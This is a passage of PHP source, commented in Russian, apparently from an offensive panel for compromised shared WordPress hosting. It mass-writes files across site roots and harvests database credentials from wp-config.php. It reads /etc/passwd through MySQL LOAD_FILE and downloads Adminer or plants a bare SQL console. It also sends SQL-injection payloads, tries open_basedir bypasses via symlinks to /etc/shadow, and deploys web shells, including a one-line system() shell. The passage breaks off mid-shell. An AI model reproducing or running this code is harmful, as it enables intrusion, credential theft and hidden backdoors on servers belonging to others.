// пишем во временный файл в том же каталоге -> rename (атомарно)
$rnd = function_exists('random_bytes') ? bin2hex(random_bytes(4)) : substr(md5(uniqid('',true)),0,8);
$tmp = rtrim($dir,'/')."/._{$base}.tmp.{$rnd}";
$n = _cap_warn(function() use ($tmp, $content){ return @file_put_contents($tmp, $content, LOCK_EX); }, $w1);
if ($n === false) { $msg = $w1 ?: 'write tmp failed'; return false; }
@chmod($tmp, 0644);
if (@file_exists($target) && $overwrite) @unlink($target);
$ren = _cap_warn(function() use ($tmp, $target){ return @rename($tmp, $target); }, $w2);
if ($ren) { $msg = 'written'; return true; }
// fallback: copy+unlink
$cop = _cap_warn(function() use ($tmp, $target){ return @copy($tmp, $target); }, $w3);
@unlink($tmp);
if ($cop) { $msg = 'written(copy)'; return true; }
$msg = trim(($w2 ?: 'rename failed') . '; ' . ($w3 ?: 'copy failed'));
return false;
}
function _deploy_one_root($root, $name, $content, $subdir, $mkdirp, $dry, $overwrite){
@clearstatcache(true, $root);
$name = _sanitize_marker_name($name);
$tries = array();
$root = rtrim($root,'/');
if ($subdir !== '') $tries[] = $root.'/'.ltrim($subdir,'/');
// Fallback-стратегия: очень помогает при "корень writable, но писать надо в uploads"
$tries[] = $root.'/wp-content/uploads';
$tries[] = $root.'/wp-content';
$tries[] = $root;
// uniq
$u=array(); $dirs=array();
foreach ($tries as $d){ $d=rtrim($d,'/'); if($d!=='' && !isset($u[$d])){$u[$d]=1;$dirs[]=$d;} }
$lastMsg = '';
foreach ($dirs as $dir){
if (!@is_dir($dir)) {
if ($mkdirp && !$dry) {
$mm=''; if (!_mkdirp($dir, $mm)) { $lastMsg = "mkdir: ".$mm; continue; }
} else {
$lastMsg = "missing dir";
continue;
}
}
if (!$dry && !@is_writable($dir)) { $lastMsg = "dir not writable"; continue; }
$target = $dir.'/'.$name;
if ($dry) return array('ok'=>true,'target'=>$target,'msg'=>"dry-run (would write)");
$m=''; $ok = _atomic_write($target, $content, $overwrite, $m);
if ($ok) return array('ok'=>true,'target'=>$target,'msg'=>$m);
$lastMsg = $m;
}
return array('ok'=>false,'target'=>($root.'/'.$name),'msg'=>$lastMsg ?: 'failed');
}
// === REPLACE deploy_marker на новую ===
function deploy_marker($roots, $name, $content, $subdir, $mkdir, $dry, $overwrite = false){
@set_time_limit(0);
@ignore_user_abort(true);
$res = array();
foreach ($roots as $root){
$r = _deploy_one_root($root, $name, $content, $subdir, $mkdir, $dry, $overwrite);
$res[] = array(
'root'=>$root,
'target'=>$r['target'],
'ok'=>$r['ok'],
'dry'=>$dry,
'msg'=>$r['msg'],
);
}
return $res;
}
// === REPLACE delete_marker на новую (удаляет и из fallback-мест) ===
function delete_marker($roots, $name, $subdir, $dry){
@set_time_limit(0);
@ignore_user_abort(true);
$name = _sanitize_marker_name($name);
$res = array();
foreach ($roots as $root){
$root = rtrim($root,'/');
$tries = array();
if ($subdir !== '') $tries[] = $root.'/'.ltrim($subdir,'/').'/'.$name;
$tries[] = $root.'/wp-content/uploads/'.$name;
$tries[] = $root.'/wp-content/'.$name;
$tries[] = $root.'/'.$name;
$u=array(); $paths=array();
foreach($tries as $p){ if(!isset($u[$p])){$u[$p]=1;$paths[]=$p;} }
$ok=false; $msg='';
foreach ($paths as $t){
if ($dry) { $ok=true; $msg='dry-run'; break; }
if (!@file_exists($t)) { $msg='not exists'; continue; }
$del = _cap_warn(function() use ($t){ return @unlink($t); }, $w);
if ($del) { $ok=true; $msg='deleted'; break; }
$msg = $w ?: 'unlink failed';
}
$res[] = array('root'=>$root,'target'=>$paths[0],'ok'=>$ok,'dry'=>$dry,'msg'=>$msg);
}
return $res;
}
function report_to_targets($report, $writable_only){
$targets=array();
foreach ($report['domains'] as $d){
$dom = $d['domain'];
foreach ($d['paths'] as $p){
$root = $p['path'];
if ($writable_only && !is_writable($root)) continue;
$targets[] = array('domain'=>$dom, 'root'=>$root);
}
}
return $targets;
}
function csrf_check($token){ return $token && isset($_SESSION[GUARD_NS]['csrf']) && (function_exists('hash_equals')?hash_equals($_SESSION[GUARD_NS]['csrf'],$token):($_SESSION[GUARD_NS]['csrf']===$token)); }
function api_deploy($post,$files){
if (!csrf_check(isset($post['csrf'])?$post['csrf']:'')) return array('status'=>'error','message'=>'bad csrf');
$wp_only = isset($post['only_wp']) ? (bool)$post['only_wp'] : true;
$writable_only = isset($post['writable_only']) ? (bool)$post['writable_only'] : true;
$limit = isset($post['limit']) ? max(1,(int)$post['limit']) : 1000;
$dry_run = !empty($post['dry_run']);
$prefix_domain = !empty($post['prefix_domain']);
$suffix_domain = !empty($post['suffix_domain']);
$force_write = !empty($post['force_write']);
$overwrite_marker = !empty($post['overwrite_marker']);
$target_sub = isset($post['target_sub']) ? trim($post['target_sub']) : '';
$create_sub = !empty($post['create_subdirs']);
$blind_mode = !empty($post['blind']);
$writable_mode = isset($post['writable_mode']) ? $post['writable_mode'] : 'effective';
$find_opts = array(
'aggr' => !empty($post['deploy_aggr']),
'use_templates' => !empty($post['deploy_brute']) || !empty($post['scan_brute']),
'templates_mode' => isset($post['brute_mode']) ? $post['brute_mode'] : 'append',
'templates_text' => isset($post['templates']) ? $post['templates'] : '',
'use_defaults' => isset($post['use_defaults']) ? (bool)$post['use_defaults'] : true,
'client_min' => isset($post['client_min']) ? (int)$post['client_min'] : 1,
'client_max' => isset($post['client_max']) ? (int)$post['client_max'] : 50,
'web_min' => isset($post['web_min']) ? (int)$post['web_min'] : 1,
'web_max' => isset($post['web_max']) ? (int)$post['web_max'] : 50,
'cand_limit' => isset($post['cand_limit']) ? (int)$post['cand_limit'] : 3500,
'users_mode' => isset($post['users_mode']) ? $post['users_mode'] : 'append',
'users_custom' => isset($post['users_custom']) ? $post['users_custom'] : '',
'use_docroots' => isset($post['use_docroots']) ? (bool)$post['use_docroots'] : true,
'docroots_deep' => !empty($post['docroots_deep']),
'env_list' => isset($post['env_list']) ? $post['env_list'] : '',
'global_sweeps' => !empty($post['global_sweeps']),
'wp_only' => $wp_only,
'writable_only' => false,
);
$data=null; $name=null;
if (!empty($files['marker']) && $files['marker']['error']===UPLOAD_ERR_OK) {
$data=@file_get_contents($files['marker']['tmp_name']);
$name=$files['marker']['name'];
} elseif (isset($post['marker_text'])) {
$data=(string)$post['marker_text'];
$data=str_replace(array('%time%'), array(date('c')), $data);
$name = isset($post['target_name']) ? $post['target_name'] : ('pt_marker_'.date('Ymd_His').'.txt');
} else {
return array('status'=>'error','message'=>'Provide "marker" file or "marker_text"');
}
$name = sanitize_filename(isset($post['target_name']) ? $post['target_name'] : $name);
if ($blind_mode) {
$blind_opts = array('wp_only'=>$wp_only,'writable_only'=>false,'docroots_deep'=>!empty($post['docroots_deep']),'blind_cap'=>isset($post['blind_cap'])?(int)$post['blind_cap']:8000,'bypass_isolation'=>!empty($post['bypass_isolation']),'bypass_extended'=>!empty($post['bypass_extended']));
$report = blind_scan($blind_opts);
} else {
$report = build_report('', $wp_only, false, $limit, $find_opts, $writable_mode);
}
$targets = report_to_targets($report, $writable_only && !$force_write);
$written=0; $results=array();
foreach ($targets as $t) {
$domain=$t['domain']; $root=$t['root'];
$file = $name;
if ($prefix_domain && $domain && $domain!=='(unknown)') $file = $domain.'_'.$file;
if ($suffix_domain && $domain && $domain!=='(unknown)') {
$dot=strrpos($file,'.'); $file = $dot!==false ? (substr($file,0,$dot).'_'.$domain.substr($file,$dot)) : ($file.'_'.$domain);
}
$payload = $data;
$payload = str_replace(array('%domain%','%path%','%time%'), array($domain,$root,date('c')), $payload);
// Используем новую надежную функцию deploy_marker с fallback стратегией
$deploy_result = _deploy_one_root($root, $file, $payload, $target_sub, $create_sub, $dry_run, $overwrite_marker);
$results[] = array(
'domain'=>$domain,
'path'=>$root,
'file'=>$deploy_result['target'],
'status'=>$deploy_result['ok'] ? ($dry_run ? 'dry_run' : $deploy_result['msg']) : 'failed: '.$deploy_result['msg']
);
if ($deploy_result['ok'] && !$dry_run) $written++;
}
return array('status'=>'ok','written'=>$written,'results'=>$results,'mode'=>$blind_mode?'blind':'domains','find_opts'=>$find_opts);
}
function api_delete($post){
if (!csrf_check(isset($post['csrf'])?$post['csrf']:'')) return array('status'=>'error','message'=>'bad csrf');
$target = sanitize_filename(isset($post['target_name']) ? $post['target_name'] : '');
if ($target==='') return array('status'=>'error','message'=>'target_name required');
$wp_only = isset($post['only_wp']) ? (bool)$post['only_wp'] : true;
$limit = isset($post['limit']) ? max(1,(int)$post['limit']) : 1000;
$target_sub = isset($post['target_sub']) ? trim($post['target_sub']) : '';
$blind_mode = !empty($post['blind']);
$writable_mode = isset($post['writable_mode']) ? $post['writable_mode'] : 'effective';
$find_opts = array(
'aggr' => !empty($post['scan_aggr']),
'use_templates' => !empty($post['scan_brute']) || !empty($post['deploy_brute']),
'templates_mode' => isset($post['brute_mode']) ? $post['brute_mode'] : 'append',
'templates_text' => isset($post['templates']) ? $post['templates'] : '',
'use_defaults' => isset($post['use_defaults']) ? (bool)$post['use_defaults'] : true,
'client_min' => isset($post['client_min']) ? (int)$post['client_min'] : 1,
'client_max' => isset($post['client_max']) ? (int)$post['client_max'] : 50,
'web_min' => isset($post['web_min']) ? (int)$post['web_min'] : 1,
'web_max' => isset($post['web_max']) ? (int)$post['web_max'] : 50,
'cand_limit' => isset($post['cand_limit']) ? (int)$post['cand_limit'] : 3500,
'users_mode' => isset($post['users_mode']) ? $post['users_mode'] : 'append',
'users_custom' => isset($post['users_custom']) ? $post['users_custom'] : '',
'use_docroots' => isset($post['use_docroots']) ? (bool)$post['use_docroots'] : true,
'docroots_deep' => !empty($post['docroots_deep']),
'env_list' => isset($post['env_list']) ? $post['env_list'] : '',
'global_sweeps' => !empty($post['global_sweeps']),
);
if ($blind_mode) {
$blind_opts = array('wp_only'=>$wp_only,'writable_only'=>false,'docroots_deep'=>!empty($post['docroots_deep']),'blind_cap'=>isset($post['blind_cap'])?(int)$post['blind_cap']:8000,'bypass_isolation'=>!empty($post['bypass_isolation']),'bypass_extended'=>!empty($post['bypass_extended']));
$report = blind_scan($blind_opts);
} else {
$report=build_report('', $wp_only, false, $limit, $find_opts, $writable_mode);
}
$deleted=0; $results=array();
foreach ($report['domains'] as $d) {
$domain=$d['domain'];
foreach ($d['paths'] as $pinfo) {
$root=$pinfo['path'];
$dir = $root;
if ($target_sub!=='') $dir .= '/'.ltrim($target_sub,'/');
$f = rtrim($dir,'/').'/'.$target;
if (is_file($f)) { $ok=@unlink($f); $results[]=array('domain'=>$domain,'path'=>$root,'file'=>$f,'status'=>$ok?'deleted':'failed'); if($ok)$deleted++; }
else { $results[]=array('domain'=>$domain,'path'=>$root,'file'=>$f,'status'=>'absent'); }
}
}
return array('status'=>'ok','deleted'=>$deleted,'results'=>$results,'mode'=>$blind_mode?'blind':'domains','find_opts'=>$find_opts);
}
/* ==================== МОДУЛЬ РАБОТЫ С БАЗАМИ ДАННЫХ ==================== */
/**
* Получение URL сайта из пути к корню
*/
function get_site_url_from_path($wp_root) {
$urls = wp_known_urls($wp_root);
if (!empty($urls)) {
return rtrim($urls[0], '/');
}
// Fallback: пытаемся определить из DOCUMENT_ROOT
$docroot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
if ($docroot && $host && strpos($wp_root, $docroot) === 0) {
$rel_path = substr($wp_root, strlen($docroot));
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
return $protocol . '://' . $host . $rel_path;
}
return '';
}
/**
* Автоматическое обнаружение и подключение к MySQL через wp-config.php
*/
function db_discovery_and_exploit($wp_root) {
$results = array(
'wp_config_found' => false,
'db_credentials' => array(),
'connection_test' => null,
'databases' => array(),
'tables' => array(),
'privileges' => array(),
'exploits' => array(),
'other_sites' => array()
);
$wp_config = $wp_root . '/wp-config.php';
if (!@is_readable($wp_config)) {
return $results;
}
$results['wp_config_found'] = true;
$content = @file_get_contents($wp_config);
// Парсинг wp-config.php
$patterns = array(
'DB_NAME' => "/define\\s*\\(\\s*['\"]DB_NAME['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
'DB_USER' => "/define\\s*\\(\\s*['\"]DB_USER['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
'DB_PASSWORD' => "/define\\s*\\(\\s*['\"]DB_PASSWORD['\"]\\s*,\\s*['\"]([^'\"]*)['\"]\\s*\\)/i",
'DB_HOST' => "/define\\s*\\(\\s*['\"]DB_HOST['\"]\\s*,\\s*['\"]([^'\"]+)['\"]\\s*\\)/i",
'table_prefix' => "/\\$table_prefix\\s*=\\s*['\"]([^'\"]+)['\"]\\s*;/i"
);
foreach ($patterns as $key => $pattern) {
if (preg_match($pattern, $content, $matches)) {
$results['db_credentials'][$key] = $matches[1];
}
}
// Если нашли данные для подключения - тестируем соединение
if (!empty($results['db_credentials']['DB_NAME']) &&
!empty($results['db_credentials']['DB_USER'])) {
$host = isset($results['db_credentials']['DB_HOST']) ? $results['db_credentials']['DB_HOST'] : 'localhost';
$user = $results['db_credentials']['DB_USER'];
$pass = isset($results['db_credentials']['DB_PASSWORD']) ? $results['db_credentials']['DB_PASSWORD'] : '';
$dbname = $results['db_credentials']['DB_NAME'];
// Попытка подключения через MySQLi
if (class_exists('mysqli')) {
// Отключаем выброс исключений mysqli
mysqli_report(MYSQLI_REPORT_OFF);
try {
$mysqli = @new mysqli($host, $user, $pass, $dbname);
} catch (Exception $e) {
$results['connection_test'] = array('success' => false, 'error' => $e->getMessage());
return $results;
} catch (Error $e) {
$results['connection_test'] = array('success' => false, 'error' => $e->getMessage());
return $results;
}
if ($mysqli && !$mysqli->connect_error) {
$results['connection_test'] = array(
'success' => true,
'server_version' => $mysqli->server_version,
'host_info' => $mysqli->host_info,
'server_info' => $mysqli->server_info
);
// Получение списка баз данных (если есть привилегия)
$databases = array();
$res = @$mysqli->query("SHOW DATABASES");
if ($res) {
while ($row = $res->fetch_array()) {
$databases[] = $row[0];
}
$res->free();
}
$results['databases'] = $databases;
// Проверка привилегий
$res = @$mysqli->query("SHOW GRANTS FOR CURRENT_USER()");
if ($res) {
while ($row = $res->fetch_array()) {
$results['privileges'][] = $row[0];
}
$res->free();
}
// Проверка FILE привилегии (самая опасная)
$has_file_priv = false;
foreach ($results['privileges'] as $grant) {
if (stripos($grant, 'FILE') !== false || stripos($grant, 'ALL PRIVILEGES') !== false) {
$has_file_priv = true;
break;
}
}
$results['exploits']['has_file_privilege'] = $has_file_priv;
// Если есть FILE привилегия - можем читать файлы
if ($has_file_priv) {
$test_files = array('/etc/passwd', '/etc/hosts', '/etc/resolv.conf');
foreach ($test_files as $test_file) {
$res = @$mysqli->query("SELECT LOAD_FILE('" . $mysqli->real_escape_string($test_file) . "') as content");
if ($res && $row = $res->fetch_assoc()) {
if (!empty($row['content'])) {
$results['exploits']['file_read_test'][] = array(
'file' => $test_file,
'success' => true,
'preview' => substr($row['content'], 0, 500)
);
}
}
}
}
// Проверка возможности записи через INTO OUTFILE
$results['exploits']['can_write_outfile'] = false;
try {
$test_write_path = '/tmp/mysql_write_test_' . uniqid() . '.txt';
$write_query = "SELECT 'test' INTO OUTFILE '" . $mysqli->real_escape_string($test_write_path) . "'";
if (@$mysqli->query($write_query)) {
$results['exploits']['can_write_outfile'] = true;
@unlink($test_write_path);
}
} catch (Exception $e) {
// INTO OUTFILE не поддерживается или запрещен
} catch (Error $e) {
// INTO OUTFILE не поддерживается или запрещен
}
// Поиск других WordPress сайтов в доступных БД
foreach ($databases as $db) {
if (in_array($db, array('mysql', 'information_schema', 'performance_schema', 'sys'))) {
continue;
}
@$mysqli->select_db($db);
$res = @$mysqli->query("SHOW TABLES");
if ($res) {
$tables = array();
while ($row = $res->fetch_array()) {
$tables[] = $row[0];
}
// Ищем таблицы WordPress
$wp_tables = array_filter($tables, function($table) {
return preg_match('/^[a-z0-9]+_options$/i', $table) ||
preg_match('/^[a-z0-9]+_users$/i', $table) ||
preg_match('/^[a-z0-9]+_posts$/i', $table);
});
if (!empty($wp_tables)) {
// Попытка извлечь siteurl и домен
$options_table = '';
foreach ($tables as $t) {
if (preg_match('/^([a-z0-9]+_)?options$/i', $t)) {
$options_table = $t;
break;
}
}
$site_info = array(
'database' => $db,
'tables_count' => count($tables),
'wp_tables' => array_values($wp_tables),
'is_wordpress' => true,
'siteurl' => '',
'home' => ''
);
if ($options_table) {
$opt_res = @$mysqli->query("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name IN ('siteurl', 'home') LIMIT 2");
if ($opt_res) {
while ($opt_row = $opt_res->fetch_assoc()) {
$site_info[$opt_row['option_name']] = $opt_row['option_value'];
}
}
}
$results['other_sites'][] = $site_info;
}
$res->free();
}
}
// Возврат к исходной базе
@$mysqli->select_db($dbname);
// Получение таблиц текущей базы
$res = @$mysqli->query("SHOW TABLES");
if ($res) {
while ($row = $res->fetch_array()) {
$results['tables'][] = $row[0];
}
$res->free();
}
$mysqli->close();
} else {
$results['connection_test'] = array(
'success' => false,
'error' => $mysqli->connect_error,
'errno' => $mysqli->connect_errno
);
}
} else {
$results['connection_test'] = array(
'success' => false,
'error' => 'mysqli extension not available'
);
}
}
return $results;
}
/**
* Автоматическая установка Adminer
*/
function deploy_adminer($target_path, $custom_name = 'dbadmin.php') {
$results = array(
'success' => false,
'path' => '',
'url' => '',
'message' => ''
);
// Проверяем, доступна ли директория для записи
$uploads_dir = $target_path . '/wp-content/uploads';
$content_dir = $target_path . '/wp-content';
$target_dir = @is_writable($uploads_dir) ? $uploads_dir :
(@is_writable($content_dir) ? $content_dir :
(@is_writable($target_path) ? $target_path : ''));
if (!$target_dir) {
$results['message'] = 'Нет прав на запись в целевую директорию';
return $results;
}
$adminer_path = $target_dir . '/' . $custom_name;
// Попытка скачать оригинальный Adminer с официального сайта
$adminer_urls = array(
'https://www.adminer.org/latest.php',
'https://www.adminer.org/latest-mysql.php',
'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php'
);
$adminer_code = null;
$download_method = null;
// Метод 1: shell_exec wget
if (!$adminer_code && function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
foreach ($adminer_urls as $url) {
$tmp_file = $target_dir . '/adminer_tmp_' . uniqid() . '.php';
@shell_exec('wget -q -O ' . escapeshellarg($tmp_file) . ' ' . escapeshellarg($url) . ' 2>/dev/null');
if (@file_exists($tmp_file) && @filesize($tmp_file) > 50000) {
$adminer_code = @file_get_contents($tmp_file);
@unlink($tmp_file);
$download_method = 'wget';
$results['download_url'] = $url;
break;
}
@unlink($tmp_file);
}
}
// Метод 2: shell_exec curl
if (!$adminer_code && function_exists('shell_exec') && !in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))) {
foreach ($adminer_urls as $url) {
$tmp_file = $target_dir . '/adminer_tmp_' . uniqid() . '.php';
@shell_exec('curl -s -o ' . escapeshellarg($tmp_file) . ' ' . escapeshellarg($url) . ' 2>/dev/null');
if (@file_exists($tmp_file) && @filesize($tmp_file) > 50000) {
$adminer_code = @file_get_contents($tmp_file);
@unlink($tmp_file);
$download_method = 'curl';
$results['download_url'] = $url;
break;
}
@unlink($tmp_file);
}
}
// Метод 3: file_get_contents
if (!$adminer_code && ini_get('allow_url_fopen')) {
$ctx = stream_context_create(array(
'http' => array('timeout' => 30, 'user_agent' => 'Mozilla/5.0'),
'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)
));
foreach ($adminer_urls as $url) {
$content = @file_get_contents($url, false, $ctx);
if ($content && strlen($content) > 50000) {
$adminer_code = $content;
$download_method = 'file_get_contents';
$results['download_url'] = $url;
break;
}
}
}
// Метод 4: cURL extension
if (!$adminer_code && function_exists('curl_init')) {
foreach ($adminer_urls as $url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
$content = curl_exec($ch);
curl_close($ch);
if ($content && strlen($content) > 50000) {
$adminer_code = $content;
$download_method = 'curl_extension';
$results['download_url'] = $url;
break;
}
}
}
// Fallback: встроенный минимальный интерфейс
if (!$adminer_code) {
$download_method = 'builtin_fallback';
$results['warning'] = 'Не удалось скачать Adminer. Используется встроенный минимальный интерфейс.';
$adminer_code = '<?php
// Minimal DB Admin Interface - Fallback
error_reporting(0);
if(isset($_POST["db"])){$link=@mysqli_connect($_POST["host"]?:"localhost",$_POST["user"],$_POST["pass"],$_POST["db"]);
if($link){echo"<div style=background:#1a1a2e;color:#eee;padding:20px;font-family:monospace>";
if($_POST["query"]){$r=mysqli_query($link,$_POST["query"]);if($r&&is_object($r)){echo"<table border=1 style=border-collapse:collapse>";
while($row=mysqli_fetch_assoc($r)){echo"<tr>";foreach($row as $v)echo"<td style=padding:5px>".htmlspecialchars(substr($v,0,200))."</td>";echo"</tr>";}echo"</table>";}
elseif($r)echo"<p style=color:#0f0>OK: ".mysqli_affected_rows($link)."</p>";else echo"<p style=color:#f00>".mysqli_error($link)."</p>";}
echo"<h4>DBs:</h4><ul>";$dbs=mysqli_query($link,"SHOW DATABASES");while($d=mysqli_fetch_array($dbs))echo"<li>".$d[0]."</li>";echo"</ul>";
echo"<form method=post><input type=hidden name=db value=\"".htmlspecialchars($_POST["db"])."\"><input type=hidden name=user value=\"".htmlspecialchars($_POST["user"])."\">
<input type=hidden name=pass value=\"".htmlspecialchars($_POST["pass"])."\"><input type=hidden name=host value=\"".htmlspecialchars($_POST["host"])."\">
<textarea name=query style=width:100%;height:80px></textarea><br><input type=submit value=Run></form></div>";}else echo"<p style=color:red>".mysqli_connect_error()."</p>";}
else{echo"<!DOCTYPE html><html><body style=background:#0d1117;color:#c9d1d9;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh>
<form method=post style=background:#161b22;padding:30px;border-radius:10px><h2>DB Connect</h2>
<input name=host placeholder=Host value=localhost style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=user placeholder=User style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=pass type=password placeholder=Pass style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<input name=db placeholder=Database style=width:100%;padding:8px;margin:5px_0;background:#0d1117;color:#fff;border:1px_solid_#30363d><br>
<button style=width:100%;padding:10px;background:#238636;color:#fff;border:none;cursor:pointer>Connect</button></form></body></html>";}?>';
}
$results['download_method'] = $download_method;
if (@file_put_contents($adminer_path, $adminer_code)) {
@chmod($adminer_path, 0644);
$base_url = get_site_url_from_path($target_path);
$rel_path = substr($target_dir, strlen($target_path));
$results['success'] = true;
$results['path'] = $adminer_path;
$results['url'] = $base_url . $rel_path . '/' . $custom_name;
$results['access_key'] = substr(md5(file_get_contents($adminer_path)), 0, 16);
$results['message'] = 'Adminer deployed successfully';
} else {
$results['message'] = 'Failed to write Adminer file';
}
return $results;
}
/**
* SQL-инъекция через найденные параметры
*/
function automated_sql_injection_scan($url, $timeout = 10) {
$results = array();
// Типичные параметры для тестирования
$test_params = array('id', 'post', 'page', 'cat', 'tag', 's', 'search', 'p', 'page_id', 'author');
// Payloads для SQLi
$payloads = array(
"'" => 'Single quote',
"''" => 'Double single quote',
"\"" => 'Double quote',
"' OR '1'='1" => 'Classic OR bypass',
"' OR '1'='1' --" => 'OR bypass with comment',
"' UNION SELECT NULL--" => 'UNION injection test',
"' AND SLEEP(3)--" => 'Blind time-based',
"1' AND '1'='1" => 'AND true condition'
);
$context = stream_context_create(array(
'http' => array(
'timeout' => $timeout,
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
foreach ($test_params as $param) {
foreach ($payloads as $payload => $payload_name) {
$test_url = $url . (strpos($url, '?') !== false ? '&' : '?') .
$param . '=' . urlencode($payload);
$start = microtime(true);
$response = @file_get_contents($test_url, false, $context);
$time = microtime(true) - $start;
$result = array(
'param' => $param,
'payload' => $payload,
'payload_name' => $payload_name,
'response_time' => round($time, 2),
'possible_blind' => $time > 2.5,
'error_detected' => false,
'vulnerable' => false
);
if ($response !== false) {
// Проверка на SQL ошибки в ответе
$error_patterns = array(
'SQL syntax',
'mysql_fetch',
'mysqli_fetch',
'mysql_num_rows',
'ORA-01756',
'SQLSTATE',
'pg_query',
'SQLite3::',
'Warning: mysql',
'Warning: mysqli',
'You have an error in your SQL syntax',
'supplied argument is not a valid MySQL',
'pg_exec',
'mssql_query'
);
foreach ($error_patterns as $pattern) {
if (stripos($response, $pattern) !== false) {
$result['error_detected'] = true;
$result['vulnerable'] = true;
$result['error_pattern'] = $pattern;
break;
}
}
}
// Сохраняем только интересные результаты
if ($result['vulnerable'] || $result['possible_blind']) {
$results[] = $result;
}
}
}
return $results;
}
/* ==================== РАСШИРЕННЫЙ ОБХОД ОГРАНИЧЕНИЙ С ЗАПИСЬЮ ==================== */
/**
* Продвинутый обход open_basedir с возможностью записи
*/
function advanced_open_basedir_bypass_with_write() {
$results = array(
'read_access' => array(),
'write_access' => array(),
'symlink_attacks' => array(),
'wrapper_attacks' => array(),
'session_attacks' => array(),
'temp_attacks' => array()
);
// 1. Атаки через PHP wrappers
$wrappers = stream_get_wrappers();
$dangerous_wrappers = array('php', 'file', 'zip', 'data', 'phar', 'compress.zlib', 'compress.bzip2');
foreach ($dangerous_wrappers as $wrapper) {
if (in_array($wrapper, $wrappers)) {
$results['wrapper_attacks'][] = array(
'wrapper' => $wrapper,
'available' => true
);
// Тест записи через разные методы
$test_content = '<?php // Bypass test ' . date('c');
$test_locations = array(
'/tmp/bypass_test_' . uniqid() . '.php',
sys_get_temp_dir() . '/bypass_test_' . uniqid() . '.php'
);
foreach ($test_locations as $test_filename) {
$written = @file_put_contents($test_filename, $test_content);
if ($written) {
$results['write_access'][] = array(
'wrapper' => $wrapper,
'method' => 'file_put_contents',
'path' => $test_filename,
'success' => true,
'readable' => @is_readable($test_filename)
);
@unlink($test_filename);
break;
}
}
}
}
// 2. Симлинк атаки для чтения
$symlink_targets = array('/etc/passwd', '/etc/shadow', '/etc/hosts', '/etc/apache2/apache2.conf', '/etc/nginx/nginx.conf');
foreach ($symlink_targets as $target_path) {
$symlink_test = sys_get_temp_dir() . '/symlink_test_' . uniqid();
if (@symlink($target_path, $symlink_test)) {
$content = @file_get_contents($symlink_test);
$results['symlink_attacks'][] = array(
'method' => 'symlink_read',
'symlink' => $symlink_test,
'target' => $target_path,
'readable' => !empty($content),
'preview' => $content ? substr($content, 0, 200) : ''
);
@unlink($symlink_test);
}
}
// 3. Атака через /proc/self/fd
if (@is_dir('/proc/self/fd')) {
$fds = @scandir('/proc/self/fd');
if ($fds) {
$checked = 0;
foreach ($fds as $fd) {
if ($fd === '.' || $fd === '..') continue;
if (++$checked > 30) break;
$fd_path = '/proc/self/fd/' . $fd;
if (@is_link($fd_path)) {
$target = @readlink($fd_path);
if ($target && strpos($target, 'pipe:') === false && strpos($target, 'socket:') === false) {
$results['read_access'][] = array(
'method' => 'proc_fd',
'fd' => $fd,
'target' => $target,
'readable' => @is_readable($target),
'is_file' => @is_file($target)
);
}
}
}
}
}
// 4. Атака через сессии PHP
$session_paths = array(
ini_get('session.save_path'),
'/tmp',
'/var/lib/php/sessions',
'/var/lib/php5/sessions',
'/var/lib/php7/sessions',
sys_get_temp_dir()
);
foreach ($session_paths as $session_path) {
if ($session_path && @is_dir($session_path) && @is_writable($session_path)) {
$test_file = $session_path . '/sess_test_' . uniqid();
if (@file_put_contents($test_file, 'test_bypass_content')) {
$results['session_attacks'][] = array(
'method' => 'session_dir_write',
'path' => $session_path,
'test_file' => $test_file,
'success' => true
);
@unlink($test_file);
}
}
}
// 5. Атаки через временные директории
$temp_dirs = array('/tmp', '/var/tmp', '/dev/shm', sys_get_temp_dir());
foreach ($temp_dirs as $temp_dir) {
if (@is_dir($temp_dir)) {
$can_read = @is_readable($temp_dir);
$can_write = @is_writable($temp_dir);
$test_php = $temp_dir . '/test_' . uniqid() . '.php';
$php_written = false;
if ($can_write) {
$php_written = @file_put_contents($test_php, '<?php echo "test";');
if ($php_written) {
@unlink($test_php);
}
}
$results['temp_attacks'][] = array(
'path' => $temp_dir,
'readable' => $can_read,
'writable' => $can_write,
'php_writable' => (bool)$php_written
);
}
}
// 6. Попытка обхода через glob()
$glob_patterns = array(
'/home/*',
'/home/*/public_html',
'/var/www/*',
'/var/www/vhosts/*',
'/etc/*'
);
foreach ($glob_patterns as $pattern) {
$matches = @glob($pattern);
if ($matches && !empty($matches)) {
$results['read_access'][] = array(
'method' => 'glob_bypass',
'pattern' => $pattern,
'found' => count($matches),
'paths' => array_slice($matches, 0, 10)
);
}
}
return $results;
}
/* ==================== ДЕПЛОЙ ВЕБ-ШЕЛЛОВ ==================== */
/**
* Создание веб-шелла с обходом ограничений
*/
function deploy_advanced_webshell($target_path, $shell_type = 'advanced') {
$shells = array(
'basic' => '<?php if(isset($_GET["c"])){system($_GET["c"]);}?>',
'advanced' => '<?php
error_reporting(0);
$k = "' . substr(md5(uniqid('', true)), 0, 8) . '";
if(!isset($_REQUEST["k"]) || $_REQUEST["k"] !== $k) { die("Denied"); }
$c = isset($_REQUEST["c"]) ? $_REQUEST["c"] : "";
$p = isset($_REQUEST["p"]) ? $_REQUEST["p"] : getcwd();
$f = isset($_REQUEST["f"]) ? $_REQUEST["f"] : "";
